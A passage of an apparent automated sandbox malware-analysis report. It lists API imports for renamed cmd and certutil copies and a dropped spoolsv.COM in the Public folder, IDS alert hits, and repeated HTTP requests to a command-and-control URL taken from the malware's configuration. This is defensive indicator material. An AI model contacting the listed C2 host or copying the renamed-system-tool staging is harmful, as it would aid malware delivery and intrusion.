          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7108940 BCryptFinishHash,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7108940
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710C940 _CxxThrowException,GetLastError,_CxxThrowException,memmove,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,CryptHashData,#205,GetLastError,#357,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,6_2_00007FF7F710C940
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708C960 LocalAlloc,CryptGetKeyIdentifierProperty,GetLastError,#357,LocalFree,LocalFree,6_2_00007FF7F708C960
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7132994 CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,6_2_00007FF7F7132994
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,6_2_00007FF7F70C29A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710099C BCryptOpenAlgorithmProvider,#205,#359,#359,6_2_00007FF7F710099C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CE9F0 IsDlgButtonChecked,memset,SendMessageW,LocalFree,GetDlgItemTextW,GetDlgItem,GetDlgItem,EnableWindow,LocalFree,#357,#357,CertFreeCertificateContext,CertFreeCTLContext,GetDlgItem,SendMessageW,SetDlgItemTextW,MessageBoxW,GetDlgItem,SendMessageW,GetDlgItemInt,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,#357,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetDlgItemTextW,SendDlgItemMessageA,CheckDlgButton,GetDlgItem,EnableWindow,SetDlgItemInt,CheckDlgButton,SetDlgItemTextW,SetDlgItemTextW,CertFreeCTLContext,CertFreeCertificateContext,??3@YAXPEAX@Z,memset,SendMessageW,MessageBoxW,memset,CryptUIDlgViewCRLW,memset,CryptUIDlgViewCertificateW,6_2_00007FF7F70CE9F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EAA00 memset,memset,#357,#357,#357,#357,CryptEncodeObjectEx,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,#359,LocalFree,LocalFree,6_2_00007FF7F70EAA00
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A9F0 strcmp,GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,#357,#357,NCryptIsAlgSupported,#360,#357,LocalAlloc,memmove,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,LocalFree,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F713A9F0
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49731 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49733 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49735 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49737 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49740 version: TLS 1.2
          Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000003.00000000.1708863932.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1712244860.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1730523659.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1719493862.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1732423952.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1734954825.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1736215812.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1737154989.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
          Source: Binary string: certutil.pdb source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
          Source: Binary string: cmd.pdb source: alpha.exe, 00000003.00000000.1708863932.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1712244860.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1730523659.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1719493862.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1732423952.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1734954825.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1736215812.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1737154989.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
          Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,3_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,3_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,3_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,3_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,3_2_00007FF6BF3D35B8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,5_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,5_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,5_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,5_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,5_2_00007FF6BF3D35B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7123674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,6_2_00007FF7F7123674
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70AD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70AD440
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70ED4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,6_2_00007FF7F70ED4A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,6_2_00007FF7F70EB3D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E5E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,6_2_00007FF7F70E5E58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EDBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,6_2_00007FF7F70EDBC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7141B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,6_2_00007FF7F7141B04
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71419F8 #359,FindFirstFileW,FindNextFileW,FindClose,6_2_00007FF7F71419F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,6_2_00007FF7F70DC6F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,6_2_00007FF7F714234C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71410C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,6_2_00007FF7F71410C4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7143100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,6_2_00007FF7F7143100
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7146F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,6_2_00007FF7F7146F80
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029558B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,9_2_029558B4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,10_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,10_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,10_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,10_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,10_2_00007FF6BF3D35B8

          Networking

          barindex
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: https://swamfoxinnc.com/233_Svcrhpjadgy
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296E2F8 InternetCheckConnectionA,9_2_0296E2F8
          Source: Joe Sandbox ViewASN Name: ALEXHOSTMD ALEXHOSTMD
          Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 176.123.5.143:443
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 176.123.5.143:443
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 176.123.5.143:443
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 176.123.5.143:443
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 176.123.5.143:443
          Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 176.123.5.143:443
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
          Source: global trafficDNS traffic detected: DNS query: swamfoxinnc.com
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 11:39:19 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 11:39:23 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 11:39:26 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 11:39:29 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 11:39:33 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
          Source: kn.exeString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
          Source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enDisallowedCertLastSyncTimePinR
          Source: Amcache.hve.17.drString found in binary or memory: http://upx.sf.net
          Source: kn.exeString found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%ws
          Source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.drString found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP
          Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc
          Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/device/
          Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/key/
          Source: kn.exeString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorize
          Source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.drString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah
          Source: kn.exeString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/token
          Source: spoolsv.COM, 00000009.00000002.2478928383.00000000207F3000.00000004.00001000.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2478928383.000000002089D000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_Svcr
          Source: spoolsv.COM, 00000009.00000002.2478928383.0000000020864000.00000004.00001000.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy
          Source: spoolsv.COM, 00000009.00000003.1812755723.00000000005F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy8)
          Source: spoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyBSX9S
          Source: spoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyBSX9S-
          Source: spoolsv.COM, 00000009.00000003.1917475501.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005F9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.00000000005F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyF)
          Source: spoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyW
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyn):
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917475501.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812755723.00000000005DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyvf
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/4?
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/L?
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/d
          Source: spoolsv.COM, 00000009.00000003.1812755723.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917475501.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com/rx
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005D6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://swamfoxinnc.com:443/233_Svcrhpjadgy
          Source: spoolsv.COM, 00000009.00000003.1810662401.0000000021555000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1915371954.0000000021590000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844407032.0000000021575000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1880419222.00000000215AC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812685797.0000000000601000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2480257189.0000000021550000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917379923.000000000060F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844555436.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812685797.0000000000612000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844555436.0000000021575000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882477795.000000000060F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1778039383.0000000000614000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1810750460.0000000000610000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1915371954.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2478928383.00000000207F3000.00000004.00001000.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1775999853.0000000021551000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844743796.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844489071.00000000215AC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1778039383.0000000000612000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2480257189.000000002155C000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844489071.0000000021590000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.aapanel.com/new/download.html?invite_code=aapanele
          Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
          Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
          Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
          Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
          Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
